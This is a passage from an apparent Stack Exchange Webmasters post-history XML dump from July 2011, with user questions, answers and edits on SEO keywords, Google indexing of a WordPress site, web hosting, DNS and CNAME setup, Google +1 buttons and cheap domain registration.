  <row Id="41477" PostHistoryTypeId="2" PostId="17268" RevisionGUID="0b3b6da6-2657-47e1-894e-60cb7dc40ed8" CreationDate="2011-07-23T09:15:52.830" UserId="9147" Text="what can I do with a keyword phrase which is a start of a question to be get started?&#xD;&#xA;&#xD;&#xA;Example : &quot;when will the&quot;  &gt; Most users asking questions will have to type &quot;when will the&quot;, unlike in this case where most user will type &quot;android apps&quot; instead of &quot;I want android apps&quot;.&#xD;&#xA;&#xD;&#xA;The competition is 0.01&#xD;&#xA;&#xD;&#xA;Monthly global searches is 3,68,000&#xD;&#xA;&#xD;&#xA;Monthly local searches is 4400&#xD;&#xA;&#xD;&#xA;I have used match type as &quot;phrase&quot; in google keyword tool.&#xD;&#xA;&#xD;&#xA;The domain name with the keyword phrase is still available, so I can register it as .com&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="41478" PostHistoryTypeId="1" PostId="17268" RevisionGUID="0b3b6da6-2657-47e1-894e-60cb7dc40ed8" CreationDate="2011-07-23T09:15:52.830" UserId="9147" Text="what can I do with a keyword phrase which is a start of a question to be get started?" />
  <row Id="41479" PostHistoryTypeId="3" PostId="17268" RevisionGUID="0b3b6da6-2657-47e1-894e-60cb7dc40ed8" CreationDate="2011-07-23T09:15:52.830" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;&lt;seo-friendly&gt;" />
  <row Id="41480" PostHistoryTypeId="2" PostId="17269" RevisionGUID="e9881ddc-b5b2-46bf-aa31-55581b4e58e2" CreationDate="2011-07-23T09:28:51.243" UserId="4502" Text="Separate your keywords with a comma. Spaces are fine." />
  <row Id="41481" PostHistoryTypeId="25" PostId="17259" RevisionGUID="185d971e-583f-4846-9073-29ededbb05d0" CreationDate="2011-07-23T09:31:55.873" Comment="http://twitter.com/#!/StackWebmasters/status/94701265979850753" />
  <row Id="41482" PostHistoryTypeId="2" PostId="17270" RevisionGUID="8c24b742-37b2-4d12-a9c9-beb1cf3baf29" CreationDate="2011-07-23T09:52:32.157" UserId="5437" Text="where can I find some premium paid blog reviews, for example, by some popular bloggers?  all suggestions are welcome.&#xD;&#xA;" />
  <row Id="41483" PostHistoryTypeId="1" PostId="17270" RevisionGUID="8c24b742-37b2-4d12-a9c9-beb1cf3baf29" CreationDate="2011-07-23T09:52:32.157" UserId="5437" Text="where can I find some quality premium paid blog reviews for my site?" />
  <row Id="41484" PostHistoryTypeId="3" PostId="17270" RevisionGUID="8c24b742-37b2-4d12-a9c9-beb1cf3baf29" CreationDate="2011-07-23T09:52:32.157" UserId="5437" Text="&lt;seo&gt;&lt;blog&gt;" />
  <row Id="41485" PostHistoryTypeId="5" PostId="10871" RevisionGUID="f9385203-7036-4788-87f6-07f3c977afaa" CreationDate="2011-07-23T10:31:59.680" UserId="1429" Comment="added 186 characters in body" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhost.com (server really in UK, I tried to ping them from UE and I'm using their services. I can't say I'm unhappy, some downtimes yes, but I bought the absolute cheapest plan, so it might be that more expensive plans work better.)&#xD;&#xA;&#xD;&#xA; - http://www.webhostingbuzz.co.uk (they told me their server is in Amsterdam, I never used their services, but when I try to ping them from UE the average response time does not seem to be of a server in Amsterdam, but more far away like a US server.)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;**eukhost.com got worst and worst, continuous downtimes** I complained and also bought a more expensive plan so I should be supposed to get a better uptime, but nothing! I'm definitely gonna change and find a new webhoster in EU soon.&#xD;&#xA;&#xD;&#xA;And last but not least they just came up with a news today saying tehy will turn off PHP `mail` function for all their plans starting form July/29th/2011. I still can't believe it's true.&#xD;&#xA;" />
  <row Id="41486" PostHistoryTypeId="5" PostId="10871" RevisionGUID="09dc3a27-ec0e-4403-9998-8db37991609b" CreationDate="2011-07-23T10:47:27.373" UserId="1429" Comment="added 186 characters in body" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhost.com server really in UK, I tried to ping them from UE and I'm using their services. I can't say I'm unhappy, some downtimes yes, but I bought the absolute cheapest plan, so it might be that more expensive plans work better.&#xD;&#xA;&#xD;&#xA; - http://www.webhostingbuzz.co.uk they told me their server is in Amsterdam, I never used their services, but when I try to ping them from UE the average response time does not seem to be of a server in Amsterdam, but more far away like a US server.&#xD;&#xA;&#xD;&#xA; - http://www.hostcoloreurope.com/ their server is in Portugal, but still near enought to UK and your vistors will never notice the difference in response time. The major advantage of this hosting seems to be that it's a US based company with a branch server in Portugal. I noticed for webhsoting that US customer service seems to be generally better than European ones. At least regarding response time. Anyway I did not try this hoster yet, except for asking some pre-sales questions, so I can not say anything except that I'm planning to try soon.&#xD;&#xA;&#xD;&#xA; - http://www.webhost.uk.net/ (when asking pre-sales questions to them, even via chat, they are transparent in replies about everything and they know and explain technical details. I had the feeling they know what they are doing. So far I tried only their cheapest plan for few months, so I can't say yet). The only funny thing is there is another hoster with simial name WEBHOST.UK.COM that show up 1st page on Google.uk when searching for &quot;cpanel web hosting&quot;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;**eukhost.com got worst and worst, continuous downtimes** I complained and also bought a more expensive plan so I should be supposed to get a better uptime, but nothing! I'm definitely gonna change and find a new webhoster in EU soon.&#xD;&#xA;&#xD;&#xA;And last but not least they just came up with a news today saying tehy will turn off PHP `mail` function for all their plans starting form July/29th/2011. I still can't believe it's true.&#xD;&#xA;" />
  <row Id="41487" PostHistoryTypeId="2" PostId="17271" RevisionGUID="2cd310dc-1a70-485b-a83c-5003a2945c88" CreationDate="2011-07-23T11:05:48.747" UserId="1429" Text="`keywords meta` tag was maybe usueful in 1990.&#xD;&#xA;&#xD;&#xA;Therefor I would say you can spend time putting a comma after each keyword, or simply remove the keyword meta tag." />
  <row Id="41488" PostHistoryTypeId="2" PostId="17272" RevisionGUID="33190920-c365-4567-8fb9-62ddb35f68d4" CreationDate="2011-07-23T11:10:54.757" UserId="8957" Text="First you should check the webmaster tools and see if there's anything wrong there (crawl errors, fetch as googlebot). In case there are no errors there all you can really do is wait and see. I submitted my sitemap to google and it still took about a week for them to index the pages on my site (the site itself exists for over 4 years now). 2 weeks is definitely not long for google to come and index. Pages i have read have said that they will usually index within 6 weeks, but there's no guarantee of that either.&#xD;&#xA;&#xD;&#xA;Just make sure you fix any errors you may have on the site, submit a sitemap if possible, and wait. What you could do, however, to speed up the process is try to get other sites to link to your site, then when google crawls that site they might come over to your site and crawl it. But even that might take a while (and i wouldn't suggest just spamming your url in forums/comments (they also have a nofollow in the comments usually)." />
  <row Id="41489" PostHistoryTypeId="2" PostId="17273" RevisionGUID="3919e5f7-8d2a-4f3d-bd7f-1545ee683e1c" CreationDate="2011-07-23T11:13:13.247" UserId="1429" Text="I think it's just a matter of time. Have your site being up for just 4 days (see your poinn 4)?&#xD;&#xA;&#xD;&#xA;About some of your points:&#xD;&#xA;&#xD;&#xA;(3) I'm not WP expert, but certaintly you might find something about how to go and remove the www (maybe in .htaccess). Anyway using www or not does not affect Google, I mean it obviously can index www and not-www sites&#xD;&#xA;&#xD;&#xA;(4) 4 days is not a long time, couldn't you wait 10 to 30 days?&#xD;&#xA;Yes your site should be crawled anyway, even without sitemap, as long as you submitted it to Google or Google found a link to your site." />
  <row Id="41490" PostHistoryTypeId="2" PostId="17274" RevisionGUID="82f516fa-f1b5-4513-936f-28e412501843" CreationDate="2011-07-23T12:27:52.910" UserId="8687" Text="There is a setting in the Wordpress menus for choosing to have or not have the www on the domain. Change it to what you want to use and resubmit the sitemap. Also validate both the www and non-www domain in webmaster tools and set the settings in webmaster tools to prefer one over the other.&#xD;&#xA;&#xD;&#xA;Be patient. Google doesn't always index new sites quickly. In fact they can be extremely slow unless you get loads of high ranking backlinks. If there's no other errors showing up other than the www/non-www issue in the sitemap, then get on with building the site and google will come by when it comes." />
  <row Id="41491" PostHistoryTypeId="25" PostId="17270" RevisionGUID="e7fa2e3d-6d72-44af-be6b-53f4e8e4db79" CreationDate="2011-07-23T12:31:55.957" Comment="http://twitter.com/#!/StackWebmasters/status/94746564630822913" />
  <row Id="41492" PostHistoryTypeId="5" PostId="85" RevisionGUID="43d478d5-6b1b-4374-b782-59f07b925892" CreationDate="2011-07-23T13:14:55.380" UserId="59" Comment="extraneous z removed" Text="What's required of a web server in order to offer up streaming video?  Where would you start?&#xD;&#xA;&#xD;&#xA;Edit: Let's assume it is **not** real-time or live streaming, just canned videos." />
  <row Id="41493" PostHistoryTypeId="4" PostId="85" RevisionGUID="43d478d5-6b1b-4374-b782-59f07b925892" CreationDate="2011-07-23T13:14:55.380" UserId="59" Comment="extraneous z removed" Text="What's required of a web server in order to offer up streaming (but not live) video?" />
  <row Id="41494" PostHistoryTypeId="2" PostId="17275" RevisionGUID="4c51661a-b3a8-4cf1-a3a4-5165aa623d62" CreationDate="2011-07-23T13:16:52.950" UserId="8130" Text="I found this list useful: [WindowsMacFonts][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html" />
  <row Id="41495" PostHistoryTypeId="5" PostId="17266" RevisionGUID="b8ca539c-99e9-4654-ba16-76e466e4621d" CreationDate="2011-07-23T14:33:05.020" UserId="7575" Comment="more info" Text="Hey guys I am having problem with indexing my site http://www.loosediamondschicago.com which is in wordpress hosted on godaddy. Its about two weeks but still no search engine indexing me.&#xD;&#xA;&#xD;&#xA;**Some Points Your Should Know:**&#xD;&#xA;&#xD;&#xA; 1. The site hosted in wordpress.&#xD;&#xA;&#xD;&#xA; 2. When the site was in development I turned off the search engine visibility from the wordpress dashboard. After turned it on I checked the meta tags and i have found no noindex. So, i guess that is not the issue.&#xD;&#xA;&#xD;&#xA; 3. To my previous experience with wordpress i know wordpress is smart enough to automatically remove the **www** in url but in this case its not.&#xD;&#xA;&#xD;&#xA; 4. I have sent sitemap via google webmaster tool about 4 days ago but still no indexing. However webmaster tool is showing error for using now **www** url in the sitemap while my urls are **www**. But I believe if i dont have sitemap still my site should be crawled right?&#xD;&#xA;&#xD;&#xA; 5. The domain client bought was use before by other people but expired couple of years ago then my client again registered it.&#xD;&#xA;&#xD;&#xA; 6. I have checked if the domain in blacklisted or not. I have found the result not blacklisted.&#xD;&#xA;&#xD;&#xA; 7. I have get couple of backlinks hoping that my site will get indexed but still no hope.&#xD;&#xA;&#xD;&#xA;I did not faced this kinds of problem before. So people please advice. I am now check godaddy to find out if any crawl errors. I will update the post when i have it.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;The site is up for one and half month but search engine allowed about 2-3 weeks. I blocked the search engine when the site was in development." />
  <row Id="41496" PostHistoryTypeId="25" PostId="17233" RevisionGUID="7655c034-3734-4fae-b766-9563cae3ba7c" CreationDate="2011-07-23T15:31:55.770" Comment="http://twitter.com/#!/StackWebmasters/status/94791862430343168" />
  <row Id="41497" PostHistoryTypeId="17" PostId="17276" RevisionGUID="1fbd0350-b06a-48e4-80f0-b50c69adcc93" CreationDate="2011-07-23T17:36:32.097" UserId="-1" Comment="from http://stackoverflow.com/questions/6799045/how-can-i-point-my-site-from-my-domain-to-another-host" Text="" />
  <row Id="41498" PostHistoryTypeId="17" PostId="17277" RevisionGUID="bee728c4-3300-41d8-b957-206d4cd480b6" CreationDate="2011-07-23T17:36:32.097" UserId="-1" Comment="from http://stackoverflow.com/questions/6799045/how-can-i-point-my-site-from-my-domain-to-another-host" Text="" />
  <row Id="41499" PostHistoryTypeId="17" PostId="17278" RevisionGUID="79d1ed37-e3b6-4422-876e-4f6947fbe831" CreationDate="2011-07-23T17:36:32.097" UserId="-1" Comment="from http://stackoverflow.com/questions/6799045/how-can-i-point-my-site-from-my-domain-to-another-host" Text="" />
  <row Id="41500" PostHistoryTypeId="17" PostId="17279" RevisionGUID="8496d57f-3cfe-4c33-9c40-1d433f86a503" CreationDate="2011-07-23T17:36:32.097" UserId="-1" Comment="from http://stackoverflow.com/questions/6799045/how-can-i-point-my-site-from-my-domain-to-another-host" Text="" />
  <row Id="41501" PostHistoryTypeId="2" PostId="17277" RevisionGUID="ced63d5b-61b6-493b-8b48-05035aad670e" CreationDate="2011-07-23T07:52:09.947" UserDisplayName="George " Text="It must be a different setting in your server configuration file. Can you access www.abc.com/index.html ? If you can you should try adding this in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html" />
  <row Id="41502" PostHistoryTypeId="2" PostId="17278" RevisionGUID="134f2011-c39e-4f58-ae7f-bf5733872d57" CreationDate="2011-07-23T07:54:58.433" UserDisplayName="Liam Bailey" Text="We need more info: what do you mean by &quot;some of my website&quot;? This is a strange statement. Have you changed nameservers or IP to point to companyB?&#xD;&#xA;&#xD;&#xA;When you transfer a website you transfer the files first then change the nameservers to the new server, this is called mirroring. Then as it takes 48 hours for the dns change to take effect no one is seeing the site as down although there are always some minor problems even if you do mirror the site on both servers. If you haven't changed the nameservers the domain points to then this will be your cause. If you have I will update my answer.&#xD;&#xA;&#xD;&#xA;Update after comment:&#xD;&#xA;&#xD;&#xA;Actually if your files are on the server with company A then they are still hosting your website and your A records need to point to their server's IP. But this makes the new host (Company B) redundant. " />
  <row Id="41503" PostHistoryTypeId="2" PostId="17279" RevisionGUID="34c1e836-23a5-43f7-aac7-302371ab33e9" CreationDate="2011-07-23T08:04:44.123" UserDisplayName="BTZ" Text="There are two ways to interpret your question: the first is that you want you domain A to be redirected to the server of domain B. That can be solved be adjusting the DNS-settings.&#xD;&#xA;For instance: www A 123.123.123.123 becomes www A 313.123.123.123. You can look it up on google if you want.&#xD;&#xA;&#xD;&#xA;The second way to interpret your question is that you want to tunnel your domain A's viewer to the content on domain B. That should be able with some php scripting. I can't help you with PHP; once again google (next to stack overflow :D) is your best friend.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="41504" PostHistoryTypeId="2" PostId="17276" RevisionGUID="a6c00866-5410-4d04-9826-cf9e2ecd1176" CreationDate="2011-07-23T07:46:12.003" UserDisplayName="eros" Text="I have websites running in a host &amp; domain with the same company (CompanyA)&#xD;&#xA;Then I transferred some of my website (www.abc.com) to another domain company (CompanyB)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My problem is www.abc.com can't able to read my index.html.&#xD;&#xA;Always Under Construction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What are the possibilities that causes for displaying the UndeerConstruction default ng site ng CompanyB instead of my index.html?" />
  <row Id="41505" PostHistoryTypeId="1" PostId="17276" RevisionGUID="a6c00866-5410-4d04-9826-cf9e2ecd1176" CreationDate="2011-07-23T07:46:12.003" UserDisplayName="eros" Text="How can I point my site from my domain to another host?" />
  <row Id="41506" PostHistoryTypeId="3" PostId="17276" RevisionGUID="a6c00866-5410-4d04-9826-cf9e2ecd1176" CreationDate="2011-07-23T07:46:12.003" UserDisplayName="eros" Text="&lt;websites&gt;&lt;domains&gt;&lt;host&gt;&lt;transfer&gt;" />
  <row Id="41507" PostHistoryTypeId="5" PostId="11211" RevisionGUID="3dd96291-972b-4dd9-aef7-00920be8bf62" CreationDate="2011-07-23T18:04:15.133" UserId="4786" Comment="corrected phrase" Text="If the content or urls have changed much then you will be starting from scratch.&#xD;&#xA;&#xD;&#xA;However you can boost how quickly your site rises by taking advantage of existing links.  Check 404 logs and make sure to redirect incoming urls to **relevent** pages (not just your homepage)&#xD;&#xA;&#xD;&#xA;Also if you can redirect those pages from the parent company back to the equivalent page in your new site you can transfer some rep back." />
  <row Id="41508" PostHistoryTypeId="24" PostId="11211" RevisionGUID="3dd96291-972b-4dd9-aef7-00920be8bf62" CreationDate="2011-07-23T18:04:15.133" Comment="Proposed by 4786 approved by 108 edit id of 447" />
  <row Id="41509" PostHistoryTypeId="5" PostId="17268" RevisionGUID="1d3c7815-572b-43cd-bae0-35570ff8caaf" CreationDate="2011-07-23T18:06:14.680" UserId="-1" Comment="question is edited" Text="what can I do with a keyword phrase which is a start of a question to be get started?&#xD;&#xA;&#xD;&#xA;Example : &quot;when will the&quot;&#xD;&#xA;&#xD;&#xA;The competition is 0.01&#xD;&#xA;&#xD;&#xA;Monthly global searches is 3,68,000&#xD;&#xA;&#xD;&#xA;Monthly local searches is 4400&#xD;&#xA;&#xD;&#xA;I have used match type as &quot;phrase&quot; in google keyword tool.&#xD;&#xA;&#xD;&#xA;The domain name with the keyword phrase is still available, so I can register it as .com&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="41510" PostHistoryTypeId="4" PostId="17268" RevisionGUID="1d3c7815-572b-43cd-bae0-35570ff8caaf" CreationDate="2011-07-23T18:06:14.680" UserId="-1" Comment="question is edited" Text="what can I do with a keyword phrase, which is a starting phrase of a question?" />
  <row Id="41511" PostHistoryTypeId="24" PostId="17268" RevisionGUID="1d3c7815-572b-43cd-bae0-35570ff8caaf" CreationDate="2011-07-23T18:06:14.680" Comment="Proposed by 223.183.175.12|20d7d08c-b9eb-4a63-89ac-28160c604431 approved by -1 edit id of 448" />
  <row Id="41512" PostHistoryTypeId="5" PostId="17268" RevisionGUID="61270f7e-22c7-42d9-ab58-ac5fc23058ed" CreationDate="2011-07-23T18:06:14.773" UserId="108" Comment="question is edited" Text="Example : &quot;when will the&quot;&#xD;&#xA;&#xD;&#xA;The keyword competition is 0.01&#xD;&#xA;Monthly global searches is 3,68,000&#xD;&#xA;Monthly local searches is 4400&#xD;&#xA;&#xD;&#xA;I have used match type as &quot;phrase&quot; in google keyword tool.&#xD;&#xA;&#xD;&#xA;The domain name with the keyword phrase is still available, so I can register it as a .com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41513" PostHistoryTypeId="4" PostId="17268" RevisionGUID="61270f7e-22c7-42d9-ab58-ac5fc23058ed" CreationDate="2011-07-23T18:06:14.773" UserId="108" Comment="question is edited" Text="What can I do with a keyword phrase, which is a starting phrase of a question?" />
  <row Id="41514" PostHistoryTypeId="5" PostId="17252" RevisionGUID="479854c6-2def-4d79-8221-f59a4da3046c" CreationDate="2011-07-23T18:09:47.563" UserId="108" Comment="deleted 80 characters in body" Text="From my experience, you won't have any benefits." />
  <row Id="41515" PostHistoryTypeId="2" PostId="17280" RevisionGUID="21e8e115-cd1b-4374-ad8a-4bd4bf00a549" CreationDate="2011-07-23T18:11:44.927" UserId="8926" Text="I got it working:&#xD;&#xA;&#xD;&#xA;www.mysite.com/ ---&gt; when user browse, the url updates appropriately ----&gt; www.mysite.com/working.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I want to do the same but with domains such as &quot;http://music.mysite.com&quot;. I tried to add CNAME record &quot;music&quot; as host and &quot;ghs.google.com&quot; as &quot;points to&quot; in GoDaddy but GoDaddy does not accept it. GoDaddy accepted &quot;www&quot; as host but not &quot;music&quot;. Why? And how can I get the sub domain (hello.mysite.com) working appropriately (not just masking i.e. the url changes when user browses the site? Is there some general sign for &quot;[a-zA-Z^.]*.&quot;?" />
  <row Id="41516" PostHistoryTypeId="1" PostId="17280" RevisionGUID="21e8e115-cd1b-4374-ad8a-4bd4bf00a549" CreationDate="2011-07-23T18:11:44.927" UserId="8926" Text="CNAME for Sub.Domain.com with Google Sites and GoDaddy?" />
  <row Id="41517" PostHistoryTypeId="3" PostId="17280" RevisionGUID="21e8e115-cd1b-4374-ad8a-4bd4bf00a549" CreationDate="2011-07-23T18:11:44.927" UserId="8926" Text="&lt;godaddy&gt;&lt;google-sites&gt;" />
  <row Id="41518" PostHistoryTypeId="2" PostId="17281" RevisionGUID="73d2cbe8-56b5-4bf9-921c-0ecbf54f9217" CreationDate="2011-07-23T18:28:26.430" UserId="1374" Text="So I finally took the plunge and added a +1 button next to the Facebook &quot;like&quot; and Twitter &quot;follow&quot; buttons on most of my websites.  The +1 count seems to be going up but I'm wondering if I can tell who is doing the +1ing" />
  <row Id="41519" PostHistoryTypeId="1" PostId="17281" RevisionGUID="73d2cbe8-56b5-4bf9-921c-0ecbf54f9217" CreationDate="2011-07-23T18:28:26.430" UserId="1374" Text="Can I find out who is +1ing my website?" />
  <row Id="41520" PostHistoryTypeId="3" PostId="17281" RevisionGUID="73d2cbe8-56b5-4bf9-921c-0ecbf54f9217" CreationDate="2011-07-23T18:28:26.430" UserId="1374" Text="&lt;google-plus-one&gt;" />
  <row Id="41521" PostHistoryTypeId="25" PostId="17267" RevisionGUID="a83563c0-fa61-49a2-913c-7d8a27bb2406" CreationDate="2011-07-23T18:31:55.803" Comment="http://twitter.com/#!/StackWebmasters/status/94837161114865664" />
  <row Id="41522" PostHistoryTypeId="2" PostId="17282" RevisionGUID="22390887-8366-4b67-b05a-bead5ea15172" CreationDate="2011-07-23T18:39:53.087" UserId="8085" Text="I wouldn't call it a 'major' indexing problem.&#xD;&#xA;&#xD;&#xA;For instance, [this][1] refers to major indexing ..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/multiple-xml-sitemaps-increased-indexation-and-traffic" />
  <row Id="41523" PostHistoryTypeId="2" PostId="17283" RevisionGUID="3de76445-20a9-481f-a579-eabd5a00cd51" CreationDate="2011-07-23T18:52:19.060" UserId="4502" Text="I don't think I've seen anything about a full-on reporting utility around +1s. (Yet?) But if what you're looking for, like site name, is unique enough, you can fudge this a bit with a site-limited search, eg. http://www.google.com/search?q=site%3Aplus.google.com+techcrunch  &#xD;&#xA;&#xD;&#xA;But that requires that users have made their +1s public so they show up in the tab(cf. &lt;a href=&quot;https://plus.google.com/107753428759636856492/posts&quot;&gt;MG Siegler's profile&lt;/a&gt;), and also searches across their *entire* profile, so you'll also get people who have the term in their Posts or Buzz tabs, too. Depending upon whether you specifically want *only* +1s or just want to see who's supporting you, that may not actually be a bad thing. Obviously people who aren't publicizing their +1s won't be  returned by this, but then they probably wouldn't be by any other method either, I guess.&#xD;&#xA;&#xD;&#xA;Just last week, someone in the Google Webmaster forum &lt;a href=&quot;http://www.google.com/support/forum/p/Webmasters/thread?tid=35ca192e81782a11&amp;hl=en&quot;&gt;suggested&lt;/a&gt; it'd be possible to grab identities through the button and a Google employee popped in basically saying &quot;okay, prove it.&quot; Given it would've been simple enough for him to just confirm(if that were the case), I'm going to guess the real answer to your question is either no, or that it at least shouldn't be possible at the moment." />
  <row Id="41524" PostHistoryTypeId="2" PostId="17284" RevisionGUID="a151bd08-38ca-4406-b1ff-b45ed37ad639" CreationDate="2011-07-23T19:50:07.890" UserId="8926" Text="I provide educational material with some sites but I am running them at loss if I need to use COM -sites with 10USD per year (not counting the work to do them). I am planning to change the domains to INFO with 2USD per year with GoDaddy so I could self-sufficiently (hopefully) to provide the material, I have some adds there that generate just abuot 2USD per year to meet the required capital. Can I be sure the INFO domain registration (using GoDaddy) will be about 2USD, not rising? (probably not so to next challenge) Are there some cheaper domain registrations? I am looking for registering domains for as cheap as possible and over 10 years or more like 50years, possible? Any idea whether there are some services that allow cheap educational domain registartion?&#xD;&#xA;&#xD;&#xA;The sites are running on Google products (with 0 cost to me except time and coding).&#xD;&#xA;&#xD;&#xA;Please, add some label like &quot;frugal&quot; to note that I am looking for the lowest cost long-term option." />
  <row Id="41525" PostHistoryTypeId="1" PostId="17284" RevisionGUID="a151bd08-38ca-4406-b1ff-b45ed37ad639" CreationDate="2011-07-23T19:50:07.890" UserId="8926" Text="Registering the Cheapest Domain, what is the Con?" />
  <row Id="41526" PostHistoryTypeId="3" PostId="17284" RevisionGUID="a151bd08-38ca-4406-b1ff-b45ed37ad639" CreationDate="2011-07-23T19:50:07.890" UserId="8926" Text="&lt;domains&gt;&lt;domain-registration&gt;" />
  <row Id="41527" PostHistoryTypeId="2" PostId="17285" RevisionGUID="428e85f3-e823-46d7-bd64-85e0594e804c" CreationDate="2011-07-23T20:01:36.770" UserId="9153" Text="Some time ago I tried to register a tld from malvides and found out that it is only possible to register .com.mv or .net.mv but not .mv&#xD;&#xA;&#xD;&#xA;Now I found [this website][1] that offers registration of .mv.&#xD;&#xA;&#xD;&#xA;I tried to search for some more information on registering this tld, but without success.&#xD;&#xA;&#xD;&#xA;Does anyone know if this is really possible now?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.marcaria.com/register/domain/domain_registration.asp?country=Maldives&amp;curr=EUR&amp;gclid=CPqmt5KgmKoCFZUS3wodRHRnzw" />
  <row Id="41528" PostHistoryTypeId="1" PostId="17285" RevisionGUID="428e85f3-e823-46d7-bd64-85e0594e804c" CreationDate="2011-07-23T20:01:36.770" UserId="9153" Text="Is it possible to register .mv domains?" />
  <row Id="41529" PostHistoryTypeId="3" PostId="17285" RevisionGUID="428e85f3-e823-46d7-bd64-85e0594e804c" CreationDate="2011-07-23T20:01:36.770" UserId="9153" Text="&lt;domain-registration&gt;&lt;top-level-domains&gt;" />
  <row Id="41530" PostHistoryTypeId="2" PostId="17286" RevisionGUID="5104ae52-864f-4168-a06a-a52b7b5af20f" CreationDate="2011-07-23T20:08:00.393" UserId="8926" Text="My [last question][1] was too much about Google Sites and GoDaddy. I will make this question more general. It is hard to make this question because I do not know the technical terms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want that when user browses a site &quot;http://a.site.com&quot; that the urls are updated correctly. What do I need for that? I need to update the CNAME with the registrar and I need to do some changes with my site, what kind of changes to let it know that the registar is &quot;accepting&quot; my site?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/17280/cname-for-sub-domain-com-with-google-sites-and-godaddy" />
  <row Id="41531" PostHistoryTypeId="1" PostId="17286" RevisionGUID="5104ae52-864f-4168-a06a-a52b7b5af20f" CreationDate="2011-07-23T20:08:00.393" UserId="8926" Text="a.site.com, a.site.com/working.html displayed -- not displayed &quot;real.site.com/working.html&quot;. How?" />
  <row Id="41532" PostHistoryTypeId="3" PostId="17286" RevisionGUID="5104ae52-864f-4168-a06a-a52b7b5af20f" CreationDate="2011-07-23T20:08:00.393" UserId="8926" Text="&lt;domains&gt;" />
  <row Id="41533" PostHistoryTypeId="2" PostId="17287" RevisionGUID="2b9d8d7b-755e-4974-958e-c382f231ed9c" CreationDate="2011-07-23T20:32:08.727" UserId="1253" Text="It looks like it is possible to register a .mv domain but you have to have a local presence in Maldives to do so." />
  <row Id="41534" PostHistoryTypeId="2" PostId="17288" RevisionGUID="ef29094e-ff76-4569-949f-be79931e3a19" CreationDate="2011-07-23T20:37:44.247" UserId="1253" Text="10 years is the longest period you can register a domain for.&#xD;&#xA;&#xD;&#xA;Pricing for any domain, including .info, can change at any time. So you cannot count on the pricing be only $2 indefinitely.&#xD;&#xA;&#xD;&#xA;Unless you're an accredited educational institution you are no different then anyone else trying to purchase a domain name. So unless you know someone who is a registrar or large reseller of a registrar you will only find discounts when a registrar decides to have a special promotion.&#xD;&#xA;&#xD;&#xA;$2 is about as cheap as a domain comes. Every nice in a while I see a promotion for $1 domains but it isn't often and usually requires paying for another service like web hosting." />
  <row Id="41535" PostHistoryTypeId="5" PostId="17284" RevisionGUID="0ff3c96f-630b-4d2c-ac1c-710d33b8b28c" CreationDate="2011-07-23T20:40:19.660" UserId="1253" Comment="improved question and content" Text="I provide educational material with some sites but I am running them at loss if I need to use the .com TLD with a cos of 10USD per year (not counting the work to do them). I am planning to change the domains to the .info TLD with a cost of 2USD per year with GoDaddy so I could self-sufficiently (hopefully) to provide the material, I have some advertisements there that generate just about 2USD per year to meet the required capital. Can I be sure the INFO domain registration (using GoDaddy) will always be 2USD, and not increase in cost? Are there some cheaper domain registrars? Is it possible to register a domain for 50 years? Any idea whether there are some services that allow cheap educational domain registartion?&#xD;&#xA;&#xD;&#xA;The sites are running on Google products (with 0 cost to me except time and coding).&#xD;&#xA;" />
  <row Id="41536" PostHistoryTypeId="5" PostId="17266" RevisionGUID="47f76a94-cf67-4a04-9ceb-dc5ffa677c5e" CreationDate="2011-07-23T20:41:51.843" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [I cannot see my website in google](http://webmasters.stackexchange.com/questions/2402/i-cannot-see-my-website-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hey guys I am having problem with indexing my site http://www.loosediamondschicago.com which is in wordpress hosted on godaddy. Its about two weeks but still no search engine indexing me.&#xD;&#xA;&#xD;&#xA;**Some Points Your Should Know:**&#xD;&#xA;&#xD;&#xA; 1. The site hosted in wordpress.&#xD;&#xA;&#xD;&#xA; 2. When the site was in development I turned off the search engine visibility from the wordpress dashboard. After turned it on I checked the meta tags and i have found no noindex. So, i guess that is not the issue.&#xD;&#xA;&#xD;&#xA; 3. To my previous experience with wordpress i know wordpress is smart enough to automatically remove the **www** in url but in this case its not.&#xD;&#xA;&#xD;&#xA; 4. I have sent sitemap via google webmaster tool about 4 days ago but still no indexing. However webmaster tool is showing error for using now **www** url in the sitemap while my urls are **www**. But I believe if i dont have sitemap still my site should be crawled right?&#xD;&#xA;&#xD;&#xA; 5. The domain client bought was use before by other people but expired couple of years ago then my client again registered it.&#xD;&#xA;&#xD;&#xA; 6. I have checked if the domain in blacklisted or not. I have found the result not blacklisted.&#xD;&#xA;&#xD;&#xA; 7. I have get couple of backlinks hoping that my site will get indexed but still no 